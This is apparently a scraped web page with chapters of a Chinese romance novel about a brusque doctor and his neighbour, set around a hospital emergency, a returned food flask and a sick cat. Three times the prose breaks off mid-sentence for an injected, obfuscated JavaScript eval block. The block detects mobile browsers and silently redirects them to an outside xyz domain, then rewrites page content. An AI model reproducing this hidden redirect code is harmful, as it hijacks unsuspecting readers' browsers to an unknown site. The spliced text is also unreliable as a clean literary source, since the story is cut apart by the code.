;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190008|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脚,开始检查肿胀程度和皮肤颜色,看看活动度。
姑娘和她的同伴和野球场上那群男的彻底懵了。
这身份反差带来的冲击,刚才还在球场上差点跟人干架,忍着痛指挥送医的社会大哥,转眼就成了给自己看病的医生?这世界也太颠了吧!
这会儿导演的电话打进来,周桨鸣离得近,听得清。
对面也是个女导演,说话相当有效率。迅速了解完情况后立刻派人派车来接洽。
“你们是话剧团的?”周桨鸣一边检查,一边随口问道。
“啊是,我们在排一个女子篮球队的话剧。”一个姑娘回答,声音还带着点恍惚。
周桨鸣嗯了一声,没抬头,继续检查,对着空气吐槽:“排话剧,练习,打野球?”
语气相当之嘲讽。
姑娘们面面相觑,脸上火辣辣的,刚才在球场边练习时的兴奋劲儿早就被彻底浇灭。
周桨鸣初步判断是踝关节骨折合并脱位,需要复位固定和拍片确认。
他看向那几个还没回过神的姑娘,言简意赅:“她这个情况需要立刻处理。你们留一个人陪护办手续,其她人外面等吧。”
然后,他像是才想起自己也是个伤号,用手按了按被球砸中的地方。
黄转青这会儿盘腿坐在客厅的地毯上。
笔记本电脑里正播放着《灌篮高手》全国大赛篇,三井寿那句经典的“教练,我想打篮球!”带着无比的渴望在房间里回荡。
这声音像是有魔力,点燃了她血液里属于青春的热血!
她对着iPad涂涂画画,画的是记忆中厦门集美区某个热闹的篮球场。
笔下的线条随着动漫激昂的配乐变得飞扬。
有一股冲动,她抓起手机,对着画板拍了张照发朋友圈:“教练!我想打篮球!”
发出去没几分钟,大多是朋友们的调侃和共鸣。
正准备放下手机继续画画,微信弹出一条消息。是周桨鸣。
他发来的不是文字,而是一大段语音。
黄转青狐疑地点开。周桨鸣那辨识度很高的嗓音冲出来,声音里有点生气。
“黄转青。”连名带姓。
“你要是真想打球,找正规室内场。请教练,或者找几个靠谱的熟人打养生球。绝对,不能,去打野球。听见没?野球场那地方乱得很,没规矩,下手没轻重。你别不当事儿,那些个瘪犊子愣头青,为了个球能跟你玩儿命。”
语音在这里戛然而止。
下一条语音随之而来:“你别当耳旁风!这不是小事。绝对不能去打野球,听到没有?听到了回个话。”
语气前所未有的啰嗦。
黄转青举着手机,盯着那只奶牛猫的的头像,心想这都什么跟什么?
打野球?她什么时候说过要去打野球了?
她也回了一段语音过去,也连名带姓:“周桨鸣,你是不是医生当久了看谁都有病?谁跟你说我要去打野球了?”
《灌篮高手》热血的片尾曲还在继续,黄转青盯着那个还未完成的篮球场,线条仿佛都扭曲,变成了周桨鸣那张多管闲事的脸。
“莫名其妙。”
手机震动了一下,屏幕亮起来,显示着一条新微信提示,还是来自那个名字。
看,还是不看?这神经病又要说什么?
8. 下次别买了
上午上班时,黄转青和汪蓝下楼去便利店买东西。短短几步路,被热得怪叫不断。明明原本天气闷得像个蒸笼,结果到了中午,硬邦邦的冰粒子就噼里啪啦乱蹦。
七月份下冰雹,这合理吗?
黄转青隔着公司的落地窗往外看,灰蒙蒙的天地间,行人狼狈奔逃。
“七月了下冰雹啊?”黄转青乍舌。
“就是啊,抽风了!”汪蓝回她。
黄转青看着窗外“弹雨”,心里鬼鬼祟祟地骂:跟某人一样爱抽风。
几乎同时,周桨鸣也走到办公室的窗边。冰雹敲打着玻璃发出噪音。
他脑子里也闪过一个念头,光明正大:抽风天气,跟楼上那炮仗似的,摸不着头脑。
他转身,懒得再看。
黄转青的手机震了一下,是虞鱼。一张照片跳出来,虞鱼站在公司楼下,背景正是外面混乱的景象,虞鱼得意洋洋:“看!姐有先见之明吧!出去吃饭还带了把太阳伞,此刻收获一众艳羡目光!”
虞鱼人如其名,活泼得像一尾停不下来的鱼。
黄转青没及时回复,先被一通快递电话截了胡,让快递员姐姐把快递塞电表箱之后才再次点开微信,还没回,一条语音信息先进来。
虞鱼的声音完全变了调,带着抽气声:“青青,不对劲,我肚子好疼。”
又来一条语音:“我先上来吧,哎呀疼得要死了。”
黄转青赶紧走出去,去到电梯那儿打算等虞鱼。电梯一层一停,每一秒都拉得无限长。终于梯门打开,虞鱼脸色灰败,整个人佝偻,全靠电梯壁支撑才没滑下去。黄转青一把架住她,重量沉沉地压过来。
虞鱼让黄转青扶着她去厕所。等待了片刻,虞鱼从厕所里爬出来,疼得已经说不出话。黄转青觉得不对劲,喊了一个男同事一起扶着虞鱼就打车去医院。
去医院的路上,冰雹还在下,砸在出租车的顶棚上如鼓点。黄转青攥着虞鱼冰凉的手,感觉到她身体的每一次痉挛,也像鼓点。
她们运气好,是一个女司机,司机把车开得又快又稳,车轮碾过积水,虞鱼闭着眼,眉头拧着。
急诊大厅永远嘈杂,人声鼎沸。
一番兵荒马乱。预检分诊的护士一看虞鱼的脸色和症状,立刻推来移动担架床。一边给虞鱼量血压测心率,一边快速记录:“初步判断急腹症。家属去办手续!”
虞鱼被迅速推进去,护士对着里面喊了一声:“周医生!这边有个急的!”
黄转青被拦在门外。
她让那名男同事先回公司了,自己去缴费窗口办手续。好不容易办完再走回来时,正好门开。一个穿着白大褂的医生走出来,黄转青像弹簧一样跳起:“医生,我朋友怎么样?!”
那医生闻声抬起头。
面面相觑——
野球场那场混乱之后,黄转青和周桨鸣之间那点本就稀薄的情谊彻底冻成冰雹。这之中还楼道里偶遇过一次,一个目不斜视脚步匆匆,另一个更是连眼皮都懒得抬,仿佛对方是空气。
此时此刻,黄转青没忍住翻了个白眼……
周桨鸣看到黄转青,表情也空白了几秒钟,下一秒钟就嘴角向下,最终也化为一个清晰无比的白眼——这世界真是小得令人窒息,烦心事总扎堆来。自己刚轮到妇科第一天,这样也能碰吗?世界未免太小!
“你朋友盆腔大量积液,结合病史和查体,怀疑卵巢黄体破裂出血。具体是什么情况导致的你知道吗?她说不出话。”周桨鸣带着值了不知多少小时班后的倦怠,眼神左左右右上上下下看了一大圈,也不知道是在看什么。
黄转青语速飞快地把情况说了一遍:上午还好好的,中午出去吃饭,回来路上遇到冰雹,之后突然就肚子剧痛。
她尽量忽略周桨鸣那张全世界欠我八百万的臭脸。
“严重吗?要不要紧?是需要动手术吗?有生命危险吗?”
“严重,需要手术。”周桨鸣言简意赅,“手术室在准备,主刀是孙主任,我负责协调和术前准备。”
虞鱼被推出来了。周桨鸣没再理会黄转青,俯下身看虞鱼。
“收伞的时候怎么收的?”周桨鸣追问,他刚刚看见了黄转青手上拿着的那把湿漉漉的折叠太阳伞。
“就那么收啊……”虞鱼从牙缝里挤出几个字。
周桨鸣朝前伸出拳头,再往自己肚子上捶了一下:“是这么收的吗?拿肚子收的吗?”
虞鱼点头。
周桨鸣站起来,语气惹人不快:“年纪也不小了,一点医学常识都没有吗?搁这儿切腹自尽式收伞?这次是没生命危险,下次呢?”
这话,加上周桨鸣那副死样子。
“周桨鸣。”黄转青喊了他一声,“你这张嘴要是不会说话就闭上。都什么时候了?”
安静了一下。旁边两个护士惊讶看过来。周桨鸣也怔住。他脸上那层烦躁都被骂得消失了。嘴唇动了动,还想继续嘴欠来着,但在黄转青那双毫不退缩地眼神下,那点嘴欠的心思也熄火。生硬地挤出三个字:“……对不起。”
声音有些含糊。
黄转青像是一拳打在了棉花上不上不下。狠剜了他一眼,别过脸去不再看他。周桨鸣也移开目光,像是要抹掉刚才那一瞬间的狼狈。
他转向旁边一个护士:“液先挂上吧。”仿佛刚才那个被骂的道歉的人不是他。
护士立刻应声忙碌起来。虞鱼再次被迅速推走。
另一个护士探出头:“虞鱼家属!过来签字!”
签完字黄转青颓然地退到角落的椅子上坐下,时间在焦虑中变得缓慢。黄转青盯着虞鱼被推进去的那扇门,脑子里乱糟糟的。一会儿是虞鱼煞白的脸,一会儿是周桨鸣那张欠揍的脸和他那句生硬的“对不起”。她烦躁地摸了摸耳朵,只觉得心力交瘁。
不知过了多久,手术结束。孙大夫走了出来,身后跟着推着移动床的护士,虞鱼躺在上面,脸色依旧苍白,像是睡着了。
“手术很顺利,出血量不算特别大,算她运气好。”孙大夫走到黄转青面前,是医生的职业交代,“现在送去病房观察,暂时禁食水。注意观察引流液颜色和量,有任何不适立刻按铃。她这情况,头两天身边最好别离人,尤其是第一个晚上,麻药过了会疼,也可能有些反应。”
黄转青听得认真,拿着手机备忘录一条条记下,怕漏掉什么。
“你跟我去办下住院手续,一会儿回来了得把她叫醒。”黄转青又立刻起身跟上。
办手续的时候周桨鸣又赶过来了,手续办得很快,周桨鸣对流程熟悉,签字、刷卡、拿单子。两人之间没有任何多余交流,只有纸张翻动和键盘敲击的声音。
把虞鱼安顿在病房里,暂时就她一个病人。黄转青一声一声把虞鱼叫醒。周桨鸣就在门边看着等着。
“我走了。”周桨鸣的声音在门口响起。他没进来,只是站在门边,一手插在白大褂口袋里。黄转青转头看他,他脸上依旧疲惫。
周桨鸣目光落在虞鱼床头的柜子上,那里放着那把惹祸的折叠伞。他抬手指了指:“以后收伞别跟肚子过不去。”
说完也不等两个人反应转身就走。
黄转青看着他消失的方向……算了。
虞鱼靠在摇起的病床上,精神头明显缓过来些。
“护工阿姨晚上过来,钱都付了。”虞鱼捏了捏黄转青的手,“你赶紧回去歇着吧。”
黄转青摇摇头,把虞
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190009|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鱼额角被粘住的头发拨开:“不行。刚才医生说了,第一个晚上最难熬,怕你发烧或者有什么不舒服反应。你别有顾虑,是我自己不太放心。我请了假,今晚陪你。”
虞鱼一听黄转青要陪夜,眼圈又有点红,吸吸鼻子:“青青,你真好……”
“少来这套,赶紧好起来请我吃三顿大餐补上。”
等到了第二天拔管,虞鱼就已经恢复得不错了,话痨本质复苏,绘声绘色地描述那天有多痛,麻醉的感觉有多奇妙。
黄转青准备回家洗个澡,经过妇科医生办公室外的走廊时放缓脚步。
办公室的门开着一条缝。
周桨鸣坐在靠窗的一张办公桌前,背对着门口。他脱了白大褂搭在椅背上,只穿着件深灰色的旧T恤,低着头,一手拿着个什么东西捏着玩儿,另一只手握着笔在写。
黄转青第一次发现,这个总是显得烦躁的人,原来也有这样沉静的侧面。
她没停留,轻轻走过门口往电梯口走去,脑子里还残留刚才那个安静的画面。
黄转青走进小区门口那家便利店。冷藏柜琳琅满目,她的目光扫过一排排饮料,最后买了一瓶标注着无糖的薄荷柠檬水。犹豫了一下,拿了两瓶。冰凉的瓶子握在手里,驱散了一些夏天的闷热。
她坐电梯回家,电梯里只有她一个人。在电梯爬到十五层时,她一个激灵,手比脑子快,摁下了十七层的按键。
由电梯间走向楼梯间,推开十七层的消防门,楼梯口空无一人,楼道里安静。
黄转青当然不会觉得此时会碰上周桨鸣,刚刚在医院里已经看到他在忙。只是鬼使神差,黄转青在那把椅子上坐了下来。坐下后自己都觉得莫名其妙,又迅速站了起来。把其中一瓶薄荷柠檬水放在椅子上,接着就爬两层楼回家。
周桨鸣回家则是快中午的事,累得连钥匙孔都对不准,试了两次才打开家门。踢掉鞋子往里走,把自己扔到床上。
一觉睡醒是下午两点,还打算继续睡,结果小叮当自己把门打开了,在周桨鸣身上前后左右地跑酷。周桨鸣烦不胜烦,对着奶牛猫说:“您别叫小叮当了,您以后叫老祖宗吧。”
不敢让猫吸二手烟,穿着拖鞋去楼道,就看到了椅子上那瓶薄荷柠檬水。
站着好一会儿没动,瓶身反射着一点光。他没太睡好,本来是很倦怠的,这瓶突然出现的水如同薄荷的凉意般,悄然渗进脑子里。还没喝,他人已经舒缓了一点。拧开瓶盖仰头灌了一大口,薄荷味儿直冲头顶,激得他完全清醒。这清凉感有点太尖锐了。
这玩意儿也不好喝啊!他一点都喝不明白,也一点都想不明白黄转青买它干什么。但他又想到黄转青天天爬楼梯回家,这个人就是爱吃苦吧。
等回到家时,一瓶水已经被他喝得差不多。他拍了一张发给黄转青:“下次别买了,喝着真闹心。”
黄转青:……
黄转青想吓他:“什么玩意儿,这个又不是我买的。”
“本来没确定的,现在确定了。下次别买了。”
“???怎么确定的?”
“就不能是我无意中喝到了狗屎发给你避雷吗?你自己跳出来说这玩意儿是闲杂人等买的,此处无银。下次别买了。”
“什么狗屎啊!你会不会说话啊!什么闲杂人等啊!你会不会说话啊!”
“下次别买了。”
黄转青真的气笑了,他是复读机是吗?就只会说这五个字是吗?
“你有病吧。”
“下次别买了。”
“……不是,真的有这么难喝吗?你要一直重复这五个字?”
“真的很难喝。下次别买了。”
“……行了知道了。”
9. 你替我吃了吧
到了下午六点,黄转青再次踏入医院。
她租住的小区离医院倒是挺近的,比上班近,这成了她劳累跑医院的唯一一点轻松。
黄转青坐下后不久,病房门再次被推开,周桨鸣穿着白大褂走了进来。
他手里没拿病历夹,倒是拎着一个保温桶。脸上依旧是疲惫,黑眼圈吓死人。
“你怎么来了?不是回家了吗?”
黄转青话冲出口才觉不妥,而虞鱼的眼睛已经惊讶地睁圆。
脱口而出往往就代表完全没过脑子,她平常不是这样的人,自己也觉得邪门!
亡羊补牢,黄转青站了起来,带着一个尴尬的笑:“周医生。”
周桨鸣仿佛没听见她的前半句,但是看了她一眼。
拎着保温桶走到病床前,例行公事地翻了翻虞鱼床尾挂着的记录单,又问了几个问题。检查完,他似乎才想起手里的东西,转身,没什么表情地把保温桶往黄转青旁边的床头柜上一放。
“给。”他言简意赅。
黄转青看看保温桶,又看看他。
给谁?她琢磨着这话是对谁说的,应该不太可能是给虞鱼吃的吧,虞鱼今天还吃不了这么正式的饭。
“我妈刚送来的。”周桨鸣的视线落在保温桶上,像是在对那桶说话,“我晚上跟导出去聚餐,没胃口吃两顿。倒了可惜,你替我吃了吧。”
他的解释干巴巴,眼神看着保温桶,就是不看黄转青。
虞鱼躺在病床上,看看保温桶,又看看周桨鸣,再看看黄转青。突然明白了过来什么!
嘴角忍不住向上翘,眼睛里闪着兴奋光芒,无声地用口型啊啊啊。
周桨鸣的余光恰好瞥见虞鱼那副挤眉弄眼的模样,眉头立刻皱起,显然完全误解虞鱼表情的含义,以为她是眼馋那桶饭。
他带着点训诫意味,冲着虞鱼道:“看什么?你现在吃不了这些,老实躺着。”
虞鱼:……
周桨鸣说完,像完成任务般走了。黄转青还一句话没说呢,他人已经消失在门外。
黄转青看着床头柜上那个保温桶,又看看门口。这算什么事儿?
“他这人怎么莫名其妙的。”
虞鱼反而笑嘻嘻地劝她:“哎呀,先别想那么多,快看看他妈妈做了什么好吃的!爱心传递哦!嘿嘿嘿……”
黄转青瞪了她一眼,最终拗不过自己也有的好奇心,打开保温桶。
盖子一掀开,真是久违了的家常烟火。清炒包菜,红烧排骨,西芹百合虾仁。一看就是精心准备的营养餐。
那香味像一只温柔的手,轻轻拂过黄转青的神经,试图解开脑子里那些绑缚住黄转青的绳结。
离开厦门后,她的确是很久没再吃到过家里做的饭。尤其是昨天刚拒绝了母亲让她回家去看看的要求……
分手辞职离开家,这一系列事情当初闹得都并不愉快。
黄转青此刻还没能把自己调整到像父母那样装作没事发生的境界。
她在意得很,也就做不到近期内回去见见她们。
因为她猜都不用猜,就知道等她回去了以后父母会说些什么。
虞鱼本来就馋,这会儿更是不停咽口水。
“求求你了,你带回家吃吧。你在这儿吃简直是折磨我!”
黄转青:……
黄转青拎着周桨鸣的饭决定回家吃,还想了想是得跟周桨鸣说一声,结果走一路也没看到周桨鸣的人。
路过护士站时,一个年轻的护士正在整理病历。
“您好呀,请问周桨鸣医生去哪儿了呀?”
护士抬起头:“哦,找周医生啊?他早下班啦!今天他不当班,下午查完房就走了。”
“走了?”黄转青一愣。
“对啊,刚走没多久。”护士肯定地点点头。
黄转青捏了捏保温桶的提手。既然下班了,那说明也不急着要这个保温桶,明天再还。
黄转青再三确认虞鱼状态稳定,又跟护工阿姨交代了几句,离开了医院。
回家后打开保温桶时,才发现桶身上贴着一个蓝色标签,小小的,像个广告贴纸一样。
她觉得眼熟,又觉得自己没道理眼熟。
贴纸上有因为水洗而有些模糊的名字,和一串电话号码。
像是某个公司的财产——
黄转青想到这就想起来了,十七楼楼梯间那个塑料椅上也贴了这样一张蓝色标签。
这串号码会是周桨鸣的吗?
黄转青当然不可能打过去确认……只是觉得这事有点意思。她在微信的添加好友功能里输入了这个电话号码,跳出来的果然不是周桨鸣,而是一个头像是国家植物园的人。名字是陈毓。
黄转青猜测这是周桨鸣的妈妈。
奇怪的是,她觉得这个名字也很眼熟!
但这次是真的想不起来会是在哪里眼熟,也没有恰到好处的线索让她能继续破案。只好作罢!怪可惜的,黄转青摩拳擦掌。
第二天是周末。
黄转青昨晚就把保温桶洗干净放在玄关柜子上,准备去医院时带着,生怕自己忘记。
出门前她抓起钥匙手机包,匆匆换鞋。
直到了医院楼下,才猛地一拍脑门——保温桶忘带了!还在玄关柜子上立正呢!
她懊恼地叹了口气。
算了,晚点再找机会还吧。
黄转青刚走进住院部大门,就看见前面有一个拄着单拐的年轻姑娘正艰难挪动,左脚打着石膏,行动重心不稳,身子一晃,眼看就要摔倒。
“小心!”黄转青冲上去稳稳扶住了姑娘的胳膊。
几乎同时,另一个短头发的姑娘也从后面赶上来,一把扶住了朋友的另一边。三个人同时松了口气。
“谢谢谢谢!”两个姑娘连声道谢。
“没事吧?”黄转青关切地问。
“没事没事,谢谢您了!”拄拐的姑娘站稳了,脸色有些憔悴,但眼神很亮。
两个姑娘都穿着一身宽松的运动服,但也掩不住身姿的挺拔,一看就是有在长期锻炼的。
黄转青自从开始爬楼梯这项运动后,就格外能欣赏以及钦佩那些长期锻炼的人。这需要时间精力,还需要一定的吃苦耐劳。
黄转青摆摆手:“你这腿,怎么出来了?还拄拐呢,多危险。”
同伴立刻接口,语气带着心疼和埋怨:“就是啊小雅!都跟你说了别去别去!你这腿骨裂加韧带损伤,医生说了要静养!你非不听!排练少你一个就不能排了?”
叫小雅的姑娘被同伴说得有点不好意思,但依然语气急切:“我真的想去看看,哪怕就站在旁边看看大家练呢?我心里也踏实。这部戏对我太重要了。”
排练?黄转青看向那姑娘打着石膏的脚踝,不由问道:“你这脚都骨折了,还排练什么呀?身体要紧啊。”
拄拐的姑娘抬起头,看着黄转青,眼睛里涌起强烈的情绪:“我们是话剧团的演员。在排一部戏,讲中国最早的一批女子篮球队员的故事,都是真事!我们为了这部戏体训了整整半年呢。”
她的声音激动起来,带着自豪,也带着巨大的遗憾,“好不容易要登台,没想到我受伤了。都怪我不小心。我真的很喜欢这个故事,它不只是戏,它……”
这姑娘似乎找不到更准确的词来表达那种珍视,情急之下脱口而出:“这是我的梦想!”
话音落下,她的眼圈蓦地红了。
倔强地仰着头,不想让眼泪掉下来,但委屈和不甘怎么也止不住。同伴眼眶也红了,轻轻拍了拍小雅的背。
黄转青的心像被什么东西狠狠撞了一下。
一瞬间她都错觉自己是爱上了这个姑娘,这不会就是小鹿乱撞吧!
很快她又明白了过来,她是爱上了“梦想”,是“梦想”把她的心狠狠撞了一下。
梦想,多么美妙。多么让人心神澎湃,多么让人值得期待。
梦想这个词,在医院大厅里,从一个打着石膏行动艰难,却固执地要去排练的陌生姑娘口中说出来,是有着很重很重的分量。
黄转青伸出手,轻轻拍了拍姑娘没拄拐的那边胳膊:“别哭,梦想总会实现的。”
这话说出来连她自己都觉得有些场面了,挺无力。可此时此刻她也只能说出这样的话。
短头发的同伴也红着眼圈,用力搂了搂朋友:“好了好了,别哭了,走,我扶你去打车!今天让你看个够行了吧!”
两人再次向黄转青道谢,互相搀扶着,一步一顿,艰难地朝着梦想挪去。
两个背影,像顶着巨石也要向上生长的草。
黄转青站在原地看着她们消失在门口。
她甩甩头,暂时抛开翻涌的思绪走向电梯,虞鱼还在等着。
推开虞鱼病房的门,她正半靠在摇起的病床上,脸色比昨天红润了些,正拿着手机在刷。
“感觉怎么样?好点没?”
“好多了!不上班真是灵丹妙药。”虞鱼放下手机。
黄转青拖过陪护椅坐下,看着虞鱼的气色确实好转,担忧也放下。想起刚才大厅里那一幕,忍不住说道:“哎,跟你说个事儿,刚才在楼下大厅,碰到个姑娘。”
“嗯?怎么了?”虞鱼来了兴趣。
黄转青把扶住小雅、听她说排练话剧、
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190010|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梦想、打着石膏也要去看排练的事情,原原本本地讲了一遍。
“听得我心里特别不是滋味。”虞鱼听完也感慨道,“这种为了热爱不顾一切的劲儿,还挺让人向往的,我怎么现在就没什么激情了,感觉怎么都行……欸,是什么话剧啊?你知道吗?等咱们好了,到时候一起去看看呗?支持一下!”
“啊?”黄转青后悔,“哎呀光顾着感慨,忘问了!这么有意义的话剧是该去支持一下。她说是讲中国初代女子篮球队的,肯定很热血。”
两人说着话,病房门被推开。周桨鸣走在最前面,身后跟着两位年轻些的医生。
周桨鸣拿起病历翻看,又扫过监护仪上的数据,再看了看虞鱼的气色。身后的年轻医生也凑近观察,小声交流。
黄转青安静地坐在一旁,尽量降低存在感。
虞鱼精神正好,想起刚才的话题,对正写医嘱的周桨鸣说:“周医生,刚才青青在楼下碰到你们一个病人,一个话剧团的姑娘,腿打着石膏呢。你知道她排练的是什么话剧吗?我想去支持一下。”
虞鱼说得兴奋,黄转青也跟着点点头。
周桨鸣头也没抬,继续写着字,嘴里倒是很自然地接着话:“那个骨折加韧带损伤的?都这样了还往外跑?梦想是挺好,但命要是没了梦想给谁看?”
好嘛,那点儿带着感动的温情气氛,一下子就没了。
“怎么不管什么话到你嘴里了就都这么难听?”黄转青知道他说得是有道理的,的确应该更看重自己身体的恢复。
但就是觉得周桨鸣这张嘴确实欠。
周桨鸣停下了笔,抬起头看向黄转青。并没有反驳,而是毫无征兆地岔开话题:“饭好吃吗?”
这话题转得过于生硬和突兀,黄转青脑子也卡壳。
“好吃啊。”她下意识回答。
她说完周桨鸣轻轻笑了下。
黄转青没注意这个笑,因为话一出口,她才想起那个被她洗得干干净净却忘在家里的保温桶,尴尬和吃人家嘴短的心虚涌了上来。
她声音低下去,带着点不好意思:“那个保温桶我忘带了,本来今天想带来还给你的,早上出门太急,落家里了。对不起啊。我明天一定带来还你。”
周桨鸣看着她瞬间从张牙舞爪变成心虚鹌鹑的模样,无所谓地摆摆手:“行了,多大点事儿,一个破桶带来带去的。别折腾了,我晚上下班去你家拿得了。”
话音落下。
病房里,虞鱼半张着嘴,像是听到了什么宇宙级秘密,连伤口的疼痛都忘了,目光在周桨鸣和黄转青的脸上来回扫射,充满了喷薄而出的八卦之火。
周桨鸣身后的两个年轻医生,一个抬起头,眼镜差点滑下来。另一个手僵在半空,眼神里充满了“我是谁?我在哪?我听到了什么?”的震惊。
两人飞快地对视了一眼,都从对方眼中看到了同样的神色,又同事假装研究地板花纹。
而风暴中心的黄转青,没来得及去咂摸这句话背后可能蕴含的深意。
她的思维还停留在最表层——适用于周桨鸣的那一层,最“解决问题”的层面。
他说他来拿,那就不用我明天再背过来了。省事了。
于是,在虞鱼和两位年轻医生近乎屏息的注视下。黄转青眨了眨眼睛,甚至带着点爽快,说:“那也行。那晚上你直接过来吧,我在家等你。”
她的语气平常。在另外三个人听来可就太不平常了!
“嗯。”周桨鸣说完就要去下一间病房。病房门又轻轻合上。
两位跟着周医生的年轻医生也终于从石化状态中解除。
带着“我好像知道了什么不得了的事”的眼神,然后默契地低下头,假装什么都没听见,什么都没看见,脚步匆匆地跟着离开了病房。
轻微的关门声,是一个开关。
下一秒——
“嘶……”虞鱼猛地倒抽一口凉气,因为动作太大牵扯到了伤口,疼得龇牙咧嘴。
“青青!什么情况?”
“扯到伤口了?”
虞鱼看着黄转青清澈又愚蠢的样子,捂着肚子,表情扭曲。
虞鱼的声音因为激动和刻意压低而有些尖细:“你跟周医生什么时候暗度陈仓暗通款曲私相授受的?都同居了?”
不愧是搞文案的……黄转青先是替朋友感到自豪!其次才终于后知后觉地品出点不对劲来。
晚上,去她家,拿东西,她在家等周桨鸣。
“我不是那个意思!”黄转青慌乱地摆手,语无伦次,“我就是说保温桶,让他来拿保温桶。在家等他拿保温桶。就是字面意思,没有别的意思!”
10. 这座城市很大
黄转青怀揣惴惴回到家,推开门,钥匙磕在玄关上把她自己吓了一跳。
周桨鸣和虞鱼是两只吵闹的蜜蜂,在胸腔里上下乱飞。
“算了,兵来将挡。”
去给植物们浇水的浇水,需要浸盆的也一一抬去浴室浸盆,最后再将一些只需修剪的完成。
架子上摆着的几盆风雨兰茁壮。
黄转青想起厦门家里阳台上曾被她养到枯死的那几盆,明明都是按正确方式养护,却依然死亡。
一条来自国家植物园的公众号推送弹出来,她点开——并非因为昨天那个小插曲。
在厦门时黄转青就关注了这个公众号,偶尔看看科普文章。
她还有印象,小学时参加过厦门植物园举办的幼儿植物写生比赛,那幅画着巨大仙人掌的画,歪歪扭扭的,被她奶奶挂在房里收藏至今。
推送文章是介绍珙桐的迁地保育工作。
黄转青的目光如水,覆盖完所有文字,再滑向自己未注意到过的其他信息,落在了作者署名处。
作者:陈毓。
黄转青讶然!难怪昨天在保温桶标签上看到这个名字会觉得眼熟,像在哪儿见过又想不起来。现在对上了号。
她曾经就看过这位陈毓写的科普文章。
楼梯间椅子和保温桶上的标签,微信搜索出的国家植物园头像,此刻的文章署名。全都串联了起来。
奇妙,黄转青因奇妙而暂时褪色了些许关于晚上保温桶交接的紧张。
甚至想到周桨鸣本人,居然冒出了些许亲切。
荒谬。
像小时候隔着门缝偷看新搬来的邻居,结果发现是自己认识的人。
继续翻看几条过往推送,医院大厅那个拄着拐的小雅,顺着她目光的水往里游进她脑子。
梦想,为她带来悸动。
黄转青靠在沙发上。
她有梦想吗?或者说,她的梦想是什么?
这个问题,在她二十多年的人生里似乎一直缺席。
黄转青是一个成长得很正确的人。
她是有梦想的,但不是从小就有。
好奇怪,黄转青心里想,她是不是总比别人成长得慢一些呢?
在大学毕业进入社会的阶段,她才突兀长出了梦想。
世界上有很多人早早的就知道了应该要去做什么事,或者是自己擅长做什么事,那真好。
可黄转青不是。
她一路长来,只苛求自己不要做错事。
不要做父母认为的错事、老师认为的错事、别人认为的错事。
她习惯了在每一个选择的岔路口,先去丈量哪条路是正确的、安全的、不会招致非议的。
不要做错事——这个想法太过根深蒂固,让她不知道自己想做什么事。
也有过要去深度挖掘自己想做什么事的时刻,但下一秒就是害怕。她隐隐有预感,自己想做的事,就会是父母眼中的错事。
于是,她努力去正确。
光滑圆润,可以拿在手里把玩。
美丽出挑,是一件拿得出手的礼品。
知心解意,一种比聪明更动人的“聪明”。
幽默,用自伤的迟钝包裹自伤的敏感。
不只是叛逆会给予人回报,对一些人而言,正确也会给人带来奖赏。
现在的这一切就是正确为黄转青带来的奖赏。
现在,坐在北京租住的小房子里。
她整个人,她的选择,她的出走,在父母眼中,已经是错误。
想到这里,黄转青心跳平稳,破釜沉舟,勇气斐然。
既然已经是个错人了,那再去做一些错事,又有什么关系呢?
那头在医院大厅里出生的,名为“梦想”的小鹿,此刻再次踩踏心头。小
鹿带着一种温柔的期待,静静地望着她。
“小鹿啊小鹿,再等等我。”
“我现在可能没有大把的时间立刻去拥抱你。但我向你约定——”
她对着窗外渐深的夜色,也对着自己那颗心,许下承诺。
“我一定会来的。你无法再被我打掉。你已经出生了。等我理顺了眼前这些琐碎,我就来牵你的手。我们一起走一条新的路。”
“再等我一会儿,好吗?很快很快。”
约定达成。
黄转青轻松许多,开始收拾沙发上堆着的衣服,房子小,不可避免又看到那个贴着蓝色标签的保温桶。
嘴角扯了一下。
周桨鸣?
爱来不来。
七点半、八点、八点半。
保温桶还在。
黄转青心里那点尴尬,渐渐被一种说不清道不明的情绪取代。
不来算了!爱来不来!
周桨鸣人没来,但消息此时来。
不是文字,是语音。点开后背景音有些嘈杂,还有不太愉快的猫叫。
“保温桶我今天就不拿了,今晚过不去。猫下午不太对劲。自动猫砂盆的APP一直报警,显示它跳进跳出十几次。”
第一段语音就到这里,周桨鸣的声音和往常不太一样,有点温柔。
黄转青也着急:“猫怎么啦?”
“我怀疑是膀胱炎。得带它去医院看看。现在正跟它搏斗呢,死活不肯进猫包。”
过了大概一分钟,又弹出一条:“跟你先说一声,免得你一直等。就这样。”
语气恢复如常。
黄转青回:“检查结果怎么样了记得要跟我说一声啊。”
手机很快又震了一下。
周桨鸣的回复很简单:“别担心。”
